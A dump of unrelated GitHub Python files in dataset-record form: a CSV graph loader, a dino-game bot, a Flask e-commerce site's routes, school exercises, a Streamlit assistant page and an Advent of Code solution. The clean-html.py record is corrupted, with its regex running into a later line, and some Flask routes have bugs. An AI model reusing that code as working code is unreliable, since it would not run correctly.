in\n with open(filename, 'rU') as csvfile:\n reader = csv.reader(csvfile, delimiter= seperator)\n\n # enumerate gives you both the value and the indice\n for i, row in enumerate(reader):\n # because the computer starts counting from 0, do i + 1\n edges_table[i + 1] = [e for e in row[1:] if e]\n lookup_table[i + 1] = str(row[0])\n\n # now convert items to ints\n storage = []\n for key, item in edges_table.iteritems():\n for e in item:\n storage.append(int(e))\n edges_table[key] = storage\n storage = []\n \n # returns the edges and lookup tables\n return edges_table, lookup_table\n \ndef social_graph_reader(filename, seperator):\n \"\"\"\n import the social network data as a dictionary and the \n values as lists of ints\n \"\"\"\n edges_table = {}\n\n # open a file to read it in\n with open(filename, 'r') as csvfile:\n next(csvfile)\n reader = csv.reader(csvfile, delimiter= seperator)\n\n # enumerate gives you both the value and the indice\n for row in reader:\n # check whether the row[0] in a key in edges_table\n if int(row[0]) in edges_table:\n edges_table[int(row[0])].append(int(row[1]))\n else:\n edges_table[int(row[0])] = [int(row[1])]\n # check whether the row[1] is a key in edges_table\n if int(row[1]) in edges_table:\n edges_table[int(row[1])].append(int(row[0]))\n else:\n edges_table[int(row[1])] = [int(row[0])]\n \n return edges_table","repo_name":"BobbyDenBezemer/Kleurenblind","sub_path":"data_loading.py","file_name":"data_loading.py","file_ext":"py","file_size_in_byte":2016,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"36449118852","text":"import pyautogui\n# import pillow\n# from numpy import array, asarray\nimport time\nfrom PIL import Image, ImageGrab\n\n\n# def takeScreenshot():\n# image = ImageGrab.grab().convert('L')\n# image.show()\n# return image\n\n\n# def draw():\n# for i in range(34, 45):\n# for j in range(45, 67):\n# data\n\ndef isCollide(data):\n # find the cactus\n for i in range(750, 800):\n for j in range(500, 520):\n if data[i, j] < 100:\n hit('up')\n return\n# find the birds\n for i in range(680, 730):\n for j in range(400, 470):\n if data[i, j] < 100:\n hit('down')\n return\n return\n\ndef hit(key):\n pyautogui.keyDown(key)\n return\n\n\nif __name__ == '__main__':\n time.sleep(5)\n #hit('up')\n\n while True:\n image = ImageGrab.grab().convert('L')\n # image = takeScreenshot()\n data = image.load()\n isCollide(data)\n\n # #print(asarray(image)\n # for i in range(710, 740):\n # for j in range(490, 530):\n # data[i, j] = 0\n #\n #\n # for i in range(690, 740):\n # for j in range(400, 460):\n # data[i, j] = 171\n #\n # image.show()\n # break\n\n\n\n","repo_name":"VidushiShekhar/Chrome-dinoGame-automation","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"30116073366","text":"import os,sys,re\nimport html2text\nfrom nltk.tokenize import sent_tokenize\n\np = re.compile(\"TEXT>(.*) 4 and len(sen.split(\" \")) < 400:\n w.write(sen+\"\\n\")\n","repo_name":"yanvirin/material","sub_path":"reinforce/clean-html.py","file_name":"clean-html.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"32723926145","text":"from flask import render_template, url_for, flash, redirect, request, session\nfrom gui.flaskblog import app\nfrom gui.flaskblog.forms import (LoginForm, SearchForm, PurchaseForm, NewProductForm,\n UpdateDetailsForm, NewStoreForm, RemoveFromCartForm, AddToCartForm, RemoveSubscriberForm,\n RemoveProductForm, CartManagementForm,\n ShowStoreForm, CloseStoreForm, AddRegularDiscountPolicyToProduct,\n AddConditionalDiscountPolicyToProduct, AddDiscountPolicyToStore, PermanentlyClose,\n LimitQuantity, LimitAge, LimitQuantityPerStore,\n ShowCartForm, RegistrationForm, AddBuyingPolicyForm, AddDiscountPolicyForm,\n ProductManagementForm, PoliciesForm, AdminOptionsForm, WorkersManagementForm,\n AddStoreManager, AddStoreOwner, RemoveStoreManager, RemoveStoreOwner)\nfrom src.state import State\nfrom src.ecommerce import Ecommerce\nfrom src import delivery_system\n\n\nclass TempUser:\n def __init__(self, user_id, username, states, shopping_basket):\n self.user_id = user_id\n self.username = username\n self.states = states\n self.shopping_basket = shopping_basket\n self.is_logged_in = False\n\n\nclass UserSessions:\n\n current_user = None\n counter = 0\n users = {}\n\n @staticmethod\n def add_user():\n session['user'] = UserSessions.counter\n UserSessions.users[UserSessions.counter] = TempUser(UserSessions.counter, 'guest', [], [])\n UserSessions.counter += 1\n\n @staticmethod\n def get_user(user_id: int):\n return UserSessions.users[user_id]\n\n @staticmethod\n def log_user_in(user_id: int, username: str, states):\n UserSessions.users[user_id].username = username\n UserSessions.users[user_id].states = states\n UserSessions.users[user_id].shopping_basket = None\n UserSessions.users[user_id].is_logged_in = True\n\n @staticmethod\n def log_user_out(user_id: int):\n UserSessions.users[user_id].username = 'guest'\n UserSessions.users[user_id].states = []\n UserSessions.users[user_id].shopping_basket = []\n UserSessions.users[user_id].is_logged_in = False\n\n\n@app.context_processor\ndef context_processor():\n return dict(me=UserSessions.current_user, state=State)\n\n\n@app.before_request\ndef before_request():\n if 'user' not in session:\n UserSessions.add_user()\n UserSessions.current_user = UserSessions.get_user(session['user'])\n\n\n@app.route(\"/\", methods=['GET', 'POST'])\n@app.route(\"/home\", methods=['GET', 'POST'])\ndef home():\n form = SearchForm()\n if form.validate_on_submit():\n products = Ecommerce.get_instance().search_product(request.form.get('attribute'), form.value.data)\n if products.val is None:\n flash(products.message, 'danger')\n products.val = []\n return render_template('home.html', form=form, title='Search', legend='Search', products=products.val)\n return render_template('home.html', me=UserSessions.current_user, form=form, title='Search', legend='Search')\n\n\n@app.route(\"/cart_management\", methods=['GET', 'POST'])\ndef cart_management():\n form = CartManagementForm()\n if form.validate_on_submit():\n if form.submit0.data:\n return redirect(url_for('add_to_cart'))\n elif form.submit1.data:\n return redirect(url_for('remove_from_cart'))\n return render_template('cart_management.html', title='Cart Management',\n legend='Please Choose An Option:', form=form)\n\n\n@app.route(\"/add_to_cart\", methods=['GET', 'POST'])\ndef add_to_cart():\n form = AddToCartForm()\n print('bbb')\n if form.validate_on_submit():\n print('aaaa')\n if UserSessions.current_user.is_logged_in:\n resp = Ecommerce.get_instance().add_to_cart(UserSessions.current_user.username,\n form.catalog_number.data, None)\n else:\n check_if_store_exist = Ecommerce.get_instance().is_product_in_store(form.store_number.data,\n form.catalog_number.data)\n if check_if_store_exist.val:\n for shopping_cart in UserSessions.current_user.shopping_basket:\n if form.store_number.data == shopping_cart['store_number']:\n resp = Ecommerce.get_instance().add_to_cart(UserSessions.current_user.username,\n form.catalog_number.data, shopping_cart)\n else:\n new_cart = [{'store_number': form.store_number.data, 'products': []}]\n UserSessions.current_user.shopping_basket.appent(new_cart)\n resp = Ecommerce.get_instance().add_to_cart(UserSessions.current_user.username,\n form.catalog_number.data, new_cart)\n else:\n flash(check_if_store_exist.message, 'danger')\n # ADD ANOTHER FIELD BASED ON GUEST OR NOT!!!!!!!!!!!!!!!!!!\n # from UserSessions.current_user.shopping_basket!!!!!!!!!!!!!!!!!!!\n flash(resp.message, 'success' if resp.val else 'danger')\n return render_template('add_to_cart.html', form=form, title='Add To Cart', legend='Add To Cart',\n is_logged_in=UserSessions.current_user.is_logged_in)\n return render_template('add_to_cart.html', form=form, title='Add To Cart', legend='Add To Cart',\n is_logged_in=UserSessions.current_user.is_logged_in)\n\n\n@app.route(\"/remove_from_cart\", methods=['GET', 'POST'])\ndef remove_from_cart():\n form = RemoveFromCartForm()\n if form.validate_on_submit():\n if UserSessions.current_user.is_logged_in:\n resp = Ecommerce.get_instance().remove_from_cart(UserSessions.current_user.username,\n form.catalog_number.data, None)\n else:\n check_if_store_exist = Ecommerce.get_instance().is_product_in_store(form.store_number.data, form.catalog_number.data)\n if check_if_store_exist.val:\n for shopping_cart in UserSessions.current_user.shopping_basket:\n if form.store_number.data == shopping_cart['store_number']:\n resp = Ecommerce.get_instance().remove_from_cart(UserSessions.current_user.username,\n form.catalog_number.data, shopping_cart)\n else:\n flash(check_if_store_exist.message, 'danger')\n flash(resp.message, 'success' if resp.val else 'danger')\n return render_template('remove_from_cart.html', form=form, title='Remove From Cart', legend='Remove From Cart',\n is_logged_in=UserSessions.current_user.is_logged_in)\n return render_template('remove_from_cart.html', form=form, title='Remove From Cart', legend='Remove From Cart',\n is_logged_in=UserSessions.current_user.is_logged_in)\n\n\n@app.route(\"/basket\", methods=['GET', 'POST'])\ndef basket():\n\n form = PurchaseForm()\n products = []\n print(form.validate_on_submit())\n if form.validate_on_submit():\n print('amir')\n\n delivery_sys = delivery_system.DeliveryAddress(form.country.data, form.city.data, form.street.data,\n form.zip.data)\n resp = Ecommerce.get_instance().make_purchase(UserSessions.current_user.username,\n 'credit card', [form.card_number.data, form.holder.data,\n form.cvv.data, form.month.data, form.year.data],\n delivery_sys, None, None)\n if resp.val is not False:\n products = resp.val\n print('amir')\n flash(resp.message, 'success' if resp.val else 'danger')\n return render_template('basket.html', products=products, form=form, title='Basket', legend='Shopping Basket'\n , is_logged_in=UserSessions.current_user.is_logged_in)\n print('ofek')\n return render_template('basket.html', products=products, form=form, title='Basket', legend='Shopping Basket',\n is_logged_in=UserSessions.current_user.is_logged_in)\n\n\n@app.route(\"/show_cart\", methods=['GET', 'POST'])\ndef show_cart():\n form = ShowCartForm()\n if form.validate_on_submit():\n if UserSessions.current_user.is_logged_in:\n products = Ecommerce.get_instance().show_cart(UserSessions.current_user.username, form.store_number.data)\n message = products.message\n products = products.val\n else:\n products = []\n message = 'Could not find the shopping cart you were looking for'\n for shopping_cart in UserSessions.current_user.shopping_basket:\n if shopping_cart['store_number'] == form.store_number.data:\n products = shopping_cart['products']\n message = 'Found the shopping cart you were looking for'\n\n if products is None:\n flash(message, 'danger')\n elif len(products) == 0:\n flash('No products were found', 'danger')\n else:\n return render_template('show_cart.html', form=form, title='Show Cart', legend='Show Cart',\n products=products, store_number=form.store_number.data)\n return render_template('show_cart.html', form=form, title='Show Cart', legend='Show Cart')\n\n\n@app.route(\"/about\")\ndef about():\n return render_template('about.html', title='About')\n\n\n@app.route(\"/register\", methods=['GET', 'POST'])\ndef register():\n form = RegistrationForm()\n if form.validate_on_submit():\n resp = Ecommerce.get_instance().register(form.username.data, form.password.data, form.age.data)\n if not resp.val:\n flash(resp.message, 'danger')\n else:\n flash(resp.message, 'success')\n return redirect(url_for('login'))\n\n return render_template('register.html', title='Register', form=form)\n\n\n@app.route(\"/login\", methods=['GET', 'POST'])\ndef login():\n form = LoginForm()\n if form.validate_on_submit():\n resp = Ecommerce.get_instance().login(form.username.data, form.password.data)\n if resp.val is None:\n flash('Login Unsuccessful. Please check username and password', 'danger')\n else:\n context_processor()\n states = []\n for element in resp.val:\n states.append(element[0])\n if len(states) == 0:\n states.append(1) # subscriber\n UserSessions.log_user_in(UserSessions.current_user.user_id, form.username.data, states)\n return redirect(url_for('home'))\n return render_template('login.html', title='Login', form=form)\n\n\n@app.route(\"/logout\")\ndef logout():\n\n if not UserSessions.current_user.is_logged_in:\n return redirect(url_for('login'))\n\n UserSessions.log_user_out(UserSessions.current_user.user_id)\n context_processor()\n return redirect(url_for('home'))\n\n\n@app.route(\"/new_product\", methods=['GET', 'POST'])\ndef new_product():\n if not UserSessions.current_user.is_logged_in:\n return redirect(url_for('login'))\n\n form = NewProductForm()\n if form.validate_on_submit():\n resp = Ecommerce.get_instance().add_new_product(UserSessions.current_user.username, form.name.data,\n form.price.data, form.amount.data, form.category.data,\n form.store_number.data, form.keywords.data.split(), -1,\n -1, 0)\n flash(resp.message, 'success' if resp.val else 'danger')\n return redirect(url_for('new_product'))\n return render_template('create_product.html', form=form, title='New Product', legend='New Product')\n\n\n@app.route(\"/new_store\", methods=['GET', 'POST'])\ndef new_store():\n if not UserSessions.current_user.is_logged_in:\n return redirect(url_for('login'))\n\n form = NewStoreForm()\n if form.validate_on_submit():\n resp = Ecommerce.get_instance().open_new_store(form.store_name.data, UserSessions.current_user.username,\n form.account_number.data,\n -1, -1, 0)\n if resp.val is None:\n flash('Could not open store', 'danger')\n else:\n flash('Your new store number is '+str(resp.val[0][0]), 'success')\n\n return redirect(url_for('new_store'))\n return render_template('new_store.html', form=form, title='New Store', legend='New Store')\n\n\n@app.route(\"/update_product_details\", methods=['GET', 'POST'])\ndef update_product_details():\n if not UserSessions.current_user.is_logged_in:\n return redirect(url_for('login'))\n\n form = UpdateDetailsForm()\n if form.validate_on_submit():\n resp = Ecommerce.get_instance().change_details_of_product(UserSessions.current_user.username,\n form.catalog_number.data,\n form.attribute.data, form.value.data)\n flash(resp.message, 'success' if resp.val else 'danger')\n return redirect(url_for('update_product_details'))\n return render_template('update_product_details.html', form=form, title='Update Product Details',\n legend='Update Product Details')\n\n\n@app.route(\"/remove_subscriber\", methods=['GET', 'POST'])\ndef remove_subscriber():\n if not UserSessions.current_user.is_logged_in:\n return redirect(url_for('login'))\n\n form = RemoveSubscriberForm()\n if form.validate_on_submit():\n resp = Ecommerce.get_instance().remove_subscriber(UserSessions.current_user.username, form.username.data)\n flash(resp.message, 'success' if resp.val else 'danger')\n return redirect(url_for('remove_subscriber'))\n return render_template('remove_subscriber.html', form=form, title='Remove Subscriber', legend='Remove Subscriber')\n\n\n@app.route(\"/remove_product\", methods=['GET', 'POST'])\ndef remove_product():\n if not UserSessions.current_user.is_logged_in:\n return redirect(url_for('login'))\n\n form = RemoveProductForm()\n if form.validate_on_submit():\n resp = Ecommerce.get_instance().remove_product(UserSessions.current_user.username,\n form.catalog_number.data)\n flash(resp.message, 'success' if resp.val else 'danger')\n return redirect(url_for('remove_product'))\n return render_template('remove_product.html', form=form, title='Remove Product', legend='Remove Product')\n\n\n@app.route(\"/show_store\", methods=['GET', 'POST'])\ndef show_store():\n form = ShowStoreForm()\n if form.validate_on_submit():\n products = Ecommerce.get_instance().show_store(form.store_number.data)\n if products.val is None:\n flash(products.message, 'danger')\n products.val = []\n return render_template('show_store.html', form=form, title='Search', legend='Search', products=products.val)\n return render_template('show_store.html', form=form, title='Show Store', legend='Show Store')\n\n\n@app.route(\"/close_store\", methods=['GET', 'POST'])\ndef close_store():\n if not UserSessions.current_user.is_logged_in:\n return redirect(url_for('login'))\n\n form = CloseStoreForm()\n if form.validate_on_submit():\n resp = Ecommerce.get_instance().close_store(UserSessions.current_user.username, form.store_number.data)\n flash(resp.message, 'success' if resp.val else 'danger')\n return redirect(url_for('close_store'))\n return render_template('close_store.html', form=form, title='Close Store', legend='Close Store')\n\n\n@app.route(\"/add_regular_discount\", methods=['GET', 'POST'])\ndef add_regular_discount():\n if not UserSessions.current_user.is_logged_in:\n return redirect(url_for('login'))\n\n form = AddRegularDiscountPolicyToProduct()\n if form.validate_on_submit():\n resp = Ecommerce.get_instance().add_reg_discount( UserSessions.current_user.username,form.catalog_number.data\n , form.discount_percentage.data\n , request.form.get('double_deals'), form.start_date.data\n , form.end_date.data)\n flash(resp.message, 'success' if resp.val else 'danger')\n\n # flash(form.catalog_number.data, 'success')\n # flash(form.discount_percentage.data, 'success')\n # flash(request.form.get('double_deals'), 'success')\n # flash(form.start_date.data, 'success')\n # flash(form.end_date.data, 'success')\n\n return redirect(url_for('add_regular_discount'))\n return render_template('add_regular_discount.html', form=form,\n title='add regular discount policy', legend='add regular discount policy')\n\n\n@app.route(\"/add_conditional_discount\", methods=['GET', 'POST'])\ndef add_conditional_discount():\n if not UserSessions.current_user.is_logged_in:\n return redirect(url_for('login'))\n\n form = AddConditionalDiscountPolicyToProduct()\n if form.validate_on_submit():\n resp = Ecommerce.get_instance().add_cond_discount(UserSessions.current_user.username\n , form.first_product.data\n , form.discount_percentage.data\n , request.form.get('double_deals')\n , form.start_date.data\n , form.end_date.data\n , request.form.get('or_and')\n , form.second_product.data)\n\n flash(resp.message, 'success' if resp.val else 'danger')\n\n # flash(form.discount_percentage.data, 'success')\n # flash(request.form.get('double_deals'), 'success')\n # flash(form.start_date.data, 'success')\n # flash(form.end_date.data, 'success')\n # flash(form.first_product.data, 'success')\n # flash(request.form.get('or_and'), 'success')\n # flash(form.second_product.data, 'success')\n\n return redirect(url_for('add_conditional_discount'))\n return render_template('add_conditional _discount.html', form=form,\n title='add conditional discount policy', legend='add conditional discount policy')\n\n\n@app.route(\"/add_store_discount_policy\", methods=['GET', 'POST'])\ndef add_store_discount_policy():\n if not UserSessions.current_user.is_logged_in:\n return redirect(url_for('login'))\n\n form = AddDiscountPolicyToStore()\n if form.validate_on_submit():\n resp = Ecommerce.get_instance().add_reg_discount_of_store(UserSessions.current_user.username\n , form.store_number.data, form.discount_percentage.data\n , request.form.get('double_deals')\n , form.start_date.data\n , form.end_date.data)\n\n flash(resp.message, 'success' if resp.val else 'danger')\n\n # flash(form.store_number.data, 'success')\n # flash(form.discount_percentage.data, 'success')\n # flash(request.form.get('double_deals'), 'success')\n # flash(form.start_date.data, 'success')\n # flash(form.end_date.data, 'success')\n return redirect(url_for('add_store_discount_policy'))\n return render_template('add_store_discount_policy.html', form=form,\n title='add store discount policy', legend='add store discount policy')\n\n\n@app.route(\"/permanently_close\", methods=['GET', 'POST'])\ndef permanently_close():\n if not UserSessions.current_user.is_logged_in:\n return redirect(url_for('login'))\n\n form = PermanentlyClose()\n if form.validate_on_submit():\n resp = Ecommerce.get_instance().close_permanently(UserSessions.current_user.username, form.store_number.data)\n flash(resp.message, 'success' if resp.val else 'danger')\n return redirect(url_for('permanently_close'))\n return render_template('permanently_close.html', form=form,\n title='Permanently Close Store', legend='Permanently Close Store')\n\n\n@app.route(\"/add_buying_policy\", methods=['GET', 'POST'])\ndef add_buying_policy():\n if not UserSessions.current_user.is_logged_in:\n return redirect(url_for('login'))\n\n form = AddBuyingPolicyForm()\n if form.validate_on_submit():\n if form.submit0.data:\n return redirect(url_for('limit_quantity'))\n elif form.submit1.data:\n return redirect(url_for('limit_quantity_per_store'))\n elif form.submit2.data:\n return redirect(url_for('limit_age'))\n return render_template('add_buying_policy.html', title='Add Buying Policy',\n legend='Add A Buying Policy:',\n form=form)\n\n\n@app.route(\"/add_discount_policy\", methods=['GET', 'POST'])\ndef add_discount_policy():\n if not UserSessions.current_user.is_logged_in:\n return redirect(url_for('login'))\n\n form = AddDiscountPolicyForm()\n if form.validate_on_submit():\n if form.submit0.data:\n return redirect(url_for('add_regular_discount'))\n elif form.submit1.data:\n return redirect(url_for('add_conditional_discount'))\n elif form.submit2.data:\n return redirect(url_for('add_store_discount_policy'))\n return render_template('add_discount_policy.html', title='Add Discount Policy',\n legend='Add A Discount Policy:',\n form=form)\n\n\n@app.route(\"/product_management\", methods=['GET', 'POST'])\ndef product_management():\n if not UserSessions.current_user.is_logged_in:\n return redirect(url_for('login'))\n\n form = ProductManagementForm()\n if form.validate_on_submit():\n if form.submit0.data:\n return redirect(url_for('new_product'))\n elif form.submit1.data:\n return redirect(url_for('update_product_details'))\n elif form.submit2.data:\n return redirect(url_for('remove_product'))\n return render_template('product_management.html', title='Product Management',\n legend='Please Choose An Option:',\n form=form)\n\n\n@app.route(\"/policies\", methods=['GET', 'POST'])\ndef policies():\n if not UserSessions.current_user.is_logged_in:\n return redirect(url_for('login'))\n\n form = PoliciesForm()\n if form.validate_on_submit():\n if form.submit0.data:\n return redirect(url_for('add_buying_policy'))\n elif form.submit1.data:\n return redirect(url_for('add_discount_policy'))\n return render_template('policies.html', title='Policies',\n legend='Please Choose An Option:',\n form=form)\n\n\n@app.route(\"/administrator_options\", methods=['GET', 'POST'])\ndef administrator_options():\n if not UserSessions.current_user.is_logged_in:\n return redirect(url_for('login'))\n\n form = AdminOptionsForm()\n if form.validate_on_submit():\n if form.submit0.data:\n return redirect(url_for('remove_subscriber'))\n elif form.submit1.data:\n return redirect(url_for('permanently_close'))\n return render_template('administrator_options.html', title='Admin Options',\n legend='Please Choose An Option:',\n form=form)\n\n\n@app.route(\"/limit_quantity\", methods=['GET', 'POST'])\ndef limit_quantity():\n if not UserSessions.current_user.is_logged_in:\n return redirect(url_for('login'))\n\n form = LimitQuantity()\n if form.validate_on_submit():\n if form.minimum_quantity.data == '' and form.maximum_quantity.data == '':\n flash('At least one of the maximum or minimum values must be filled', 'danger')\n return redirect(url_for('limit_quantity'))\n resp0 = None\n resp1 = None\n if form.minimum_quantity.data != '':\n resp0 = Ecommerce.get_instance().change_details_of_product(UserSessions.current_user.username,\n form.catalog_number.data, 'minimum_products',\n form.minimum_quantity.data)\n if form.maximum_quantity.data != '':\n resp1 = Ecommerce.get_instance().change_details_of_product(UserSessions.current_user.username,\n form.catalog_number.data, 'maximum_products',\n form.maximum_quantity.data)\n if resp0 and resp1 and resp0.val and resp1.val:\n flash(resp0.message, 'success')\n else:\n flash('Something went wrong, please check and try again', 'danger')\n\n return redirect(url_for('limit_quantity'))\n return render_template('limit _quantity.html', form=form, title='limit quantity', legend='limit quantity')\n\n\n@app.route(\"/limit_age\", methods=['GET', 'POST'])\ndef limit_age():\n if not UserSessions.current_user.is_logged_in:\n return redirect(url_for('login'))\n\n form = LimitAge()\n if form.validate_on_submit():\n resp = Ecommerce.get_instance().change_details_of_product(UserSessions.current_user.username,\n form.catalog_number.data, 'minimum_age',\n form.minimum_age.data)\n flash(resp.message, 'success' if resp.val else 'danger')\n return redirect(url_for('limit_age'))\n return render_template('limit_age.html', form=form, title='limit age', legend='limit age')\n\n@app.route(\"/limit_quantity_per_store\", methods=['GET', 'POST'])\ndef limit_quantity_per_store():\n if not UserSessions.current_user.is_logged_in:\n return redirect(url_for('login'))\n\n form = LimitQuantityPerStore()\n if form.validate_on_submit():\n if form.minimum_quantity.data == '' and form.maximum_quantity.data == '':\n flash('At least one of the maximum or minimum values must be filled', 'danger')\n return redirect(url_for('limit_quantity'))\n resp0 = None\n resp1 = None\n if form.minimum_quantity.data != '':\n resp0 = Ecommerce.get_instance().change_details_of_store(UserSessions.current_user.username,\n form.store_number.data, 'minimum_products',\n form.minimum_quantity.data)\n if form.maximum_quantity.data != '':\n resp1 = Ecommerce.get_instance().change_details_of_store(UserSessions.current_user.username,\n form.store_number.data, 'maximum_products',\n form.maximum_quantity.data)\n if resp0 and resp1 and resp0.val and resp1.val:\n flash(resp0.message, 'success')\n else:\n flash('Something went wrong, please check and try again', 'danger')\n\n return render_template('limit_quantity_per_store.html', form=form, title='limit quantity per store',\n legend='limit quantity per store')\n\n\n@app.route(\"/workers_management\", methods=['GET', 'POST'])\ndef workers_management():\n if not UserSessions.current_user.is_logged_in:\n return redirect(url_for('login'))\n\n form = WorkersManagementForm()\n if form.validate_on_submit():\n if form.submit0.data:\n return redirect(url_for('add_store_manager'))\n elif form.submit1.data:\n return redirect(url_for('add_store_owner'))\n elif form.submit2.data:\n return redirect(url_for('remove_store_manager'))\n elif form.submit3.data:\n return redirect(url_for('remove_store_owner'))\n return render_template('workers_management.html', title='Workers Management',\n legend='Please Choose An Option:',form=form)\n\n\n@app.route(\"/add_store_manager\", methods=['GET', 'POST'])\ndef add_store_manager():\n if not UserSessions.current_user.is_logged_in:\n return redirect(url_for('login'))\n\n form = AddStoreManager()\n if form.validate_on_submit():\n resp = Ecommerce.get_instance().add_store_manager(UserSessions.current_user.username, form.store_number.data,\n form.username.data)\n flash(resp.message, 'success' if resp.val else 'danger')\n return redirect(url_for('add_store_manager'))\n return render_template('add_store_manager.html', form=form, title='Add Store Manager', legend='Add Store Manager')\n\n\n@app.route(\"/add_store_owner\", methods=['GET', 'POST'])\ndef add_store_owner():\n if not UserSessions.current_user.is_logged_in:\n return redirect(url_for('login'))\n\n form = AddStoreOwner()\n if form.validate_on_submit():\n resp = Ecommerce.get_instance().add_store_owner(UserSessions.current_user.username, form.store_number.data,\n form.username.data)\n flash(resp.message, 'success' if resp.val else 'danger')\n return redirect(url_for('add_store_owner'))\n return render_template('add_store_owner.html', form=form, title='Add Store Owner', legend='Add Store Owner')\n\n\n@app.route(\"/remove_store_manager\", methods=['GET', 'POST'])\ndef remove_store_manager():\n if not UserSessions.current_user.is_logged_in:\n return redirect(url_for('login'))\n\n form = RemoveStoreManager()\n if form.validate_on_submit():\n resp = Ecommerce.get_instance().remove_store_manager(UserSessions.current_user.username, form.store_number.data,\n form.username.data)\n flash(resp.message, 'success' if resp.val else 'danger')\n return redirect(url_for('remove_store_manager'))\n return render_template('remove_store_manager.html', form=form, title='Remove Store Manager', legend='Remove Store Manager')\n\n\n@app.route(\"/remove_store_owner\", methods=['GET', 'POST'])\ndef remove_store_owner():\n if not UserSessions.current_user.is_logged_in:\n return redirect(url_for('login'))\n\n form = RemoveStoreOwner()\n if form.validate_on_submit():\n resp = Ecommerce.get_instance().remove_store_owner(UserSessions.current_user.username, form.store_number.data,\n form.username.data)\n flash(resp.message, 'success' if resp.val else 'danger')\n return redirect(url_for('remove_store_owner'))\n return render_template('remove_store_owner.html', form=form, title='Remove Store Owner', legend='Remove Store Owner')\n","repo_name":"orsaada/ecommerce-site","sub_path":"gui/flaskblog/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":31818,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"5891738428","text":"def rechercheMin(tab: list) -> int:\r\n \"\"\"renvoie l'indice de la premiere occurence du minimum de tab\"\"\"\r\n assert type(tab) == list and tab != [], \"tab doit etre un tableau non vide\"\r\n i_min = 0\r\n for i in range(len(tab)):\r\n if tab[i] < tab[i_min]:\r\n i_min = i\r\n return i_min\r\n\r\n\r\ndef separe(tab): # similaire au sujet 12\r\n i = 0\r\n j = len(tab) - 1\r\n while i < j:\r\n if tab[i] == 0:\r\n i = i + 1\r\n else:\r\n tab[i], tab[j] = tab[j], tab[i]\r\n j = j - 1\r\n return tab\r\n","repo_name":"emsquid/epreuves-pratiques-nsi","sub_path":"Sujet 26/22-NSI-26.py","file_name":"22-NSI-26.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"fr","doc_type":"code","stars":6,"dataset":"github-code","pt":"38"} +{"seq_id":"9164669588","text":"import streamlit as st\nfrom streamlit_chat import message\nfrom streamlit_extras.colored_header import colored_header\nfrom streamlit_extras.add_vertical_space import add_vertical_space\nfrom streamlit_extras.switch_page_button import switch_page\nfrom hugchat import hugchat\nimport backend_functions as bf\n\nst.markdown(\"# All done!\")\nst.write(\"Greetings from \", st.session_state[\"pa_name\"])\n\n\n# Sidebar contents\nwith st.sidebar:\n st.title('%s Interface' %st.session_state['pa_name'])\n st.markdown('''\n ## About\n This app is your daily personal assistant who you can tell about your day and it will remember and recall the information as and when required.\n \n 💡 Note: No API key required!\n ''')\n add_vertical_space(5)\n st.write('Made by Mining Ninjas')\n\ninput = st.text_input(\"So how can I be of assistance today?\")\n\n\noutput = bf.final_PA(input, namespace=st.session_state[\"user_name\"])\nst.write(output)\n\ncol1, col2 = st.columns(2)\n\nwith col1:\n prev_page3 = st.button(\"Back\")\n if prev_page3:\n switch_page(\"User Name\")\n\nwith col2:\n next_page3 = st.button(\"Check past entries\")\n if next_page3:\n switch_page(\"Previous Entries\")","repo_name":"omar94khan/Public_Pinecone_2023","sub_path":"pages/3_Interface.py","file_name":"3_Interface.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"20412218546","text":"import sys\nimport argparse\nimport string\n\n\ndef read_data(args):\n first = []\n second = []\n values = []\n\n for line in args.datafile:\n value = line.splitlines()\n\n value = value[0]\n values.append(value)\n section1 = value[:len(value)//2]\n section2 = value[len(value)//2:]\n\n first.append(section1)\n second.append(section2)\n\n return first, second, values\n\ndef calculate_badges(values):\n\n badges = []\n\n set_of_three = []\n\n for i in range(len(values)):\n print(set_of_three)\n if len(set_of_three) == 3:\n longest = max(set_of_three, key=len)\n for j in range(len(longest)):\n\n if len(set_of_three) == 3 and longest[j] in set_of_three[0] and longest[j] in set_of_three[1] and longest[j] in set_of_three[2]:\n badges.append(longest[j])\n break\n set_of_three = [values[i]]\n else:\n set_of_three.append(values[i])\n\n longest = max(set_of_three, key=len)\n for j in range(len(longest)):\n\n if len(set_of_three) == 3 and longest[j] in set_of_three[0] and longest[j] in set_of_three[1] and longest[j] in \\\n set_of_three[2]:\n badges.append(longest[j])\n break\n\n print(len(badges))\n return badges\n\n\n\ndef calculate_duplicates(first, second):\n\n duplicates = []\n\n for i in range(len(first)):\n for j in range(len(first[i])):\n if first[i][j] in second[i]:\n duplicates.append(first[i][j])\n break\n\n return duplicates\n\ndef calculate_values(duplicates, scores):\n score = 0\n\n for char in duplicates:\n value = scores.index(char)\n value += 1\n score += value\n\n return score\n\n\nparser = argparse.ArgumentParser(description=\"Calculating the amount of elf fuck ups\")\nparser.add_argument('datafile', nargs='?', type=argparse.FileType('r'), default=sys.stdin,\n help=\"Text file of rucksack info\")\n\nif __name__ == \"__main__\":\n args = parser.parse_args()\n first, second, values = read_data(args)\n duplicates = calculate_duplicates(first, second)\n\n scores = list(string.ascii_letters)\n score = calculate_values(duplicates, scores)\n\n print(f\"Score: {score}\")\n\n badges = calculate_badges(values)\n\n badge_score = calculate_values(badges, scores)\n print(f\"Badge Score: {badge_score}\")\n\n\n\n","repo_name":"hughjph/AdventOfCode","sub_path":"2022/Day3/Day3.py","file_name":"Day3.py","file_ext":"py","file_size_in_byte":2412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"10542635441","text":"from sklearn.decomposition import TruncatedSVD\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn.preprocessing import LabelEncoder, Normalizer\nfrom sklearn.model_selection import train_test_split\n\n# Classifier\nfrom lightgbm import LGBMClassifier\n\n# Clean up text\nfrom bs4 import BeautifulSoup\n\n# Local helper function\nfrom src.metrics import mlogloss\nfrom 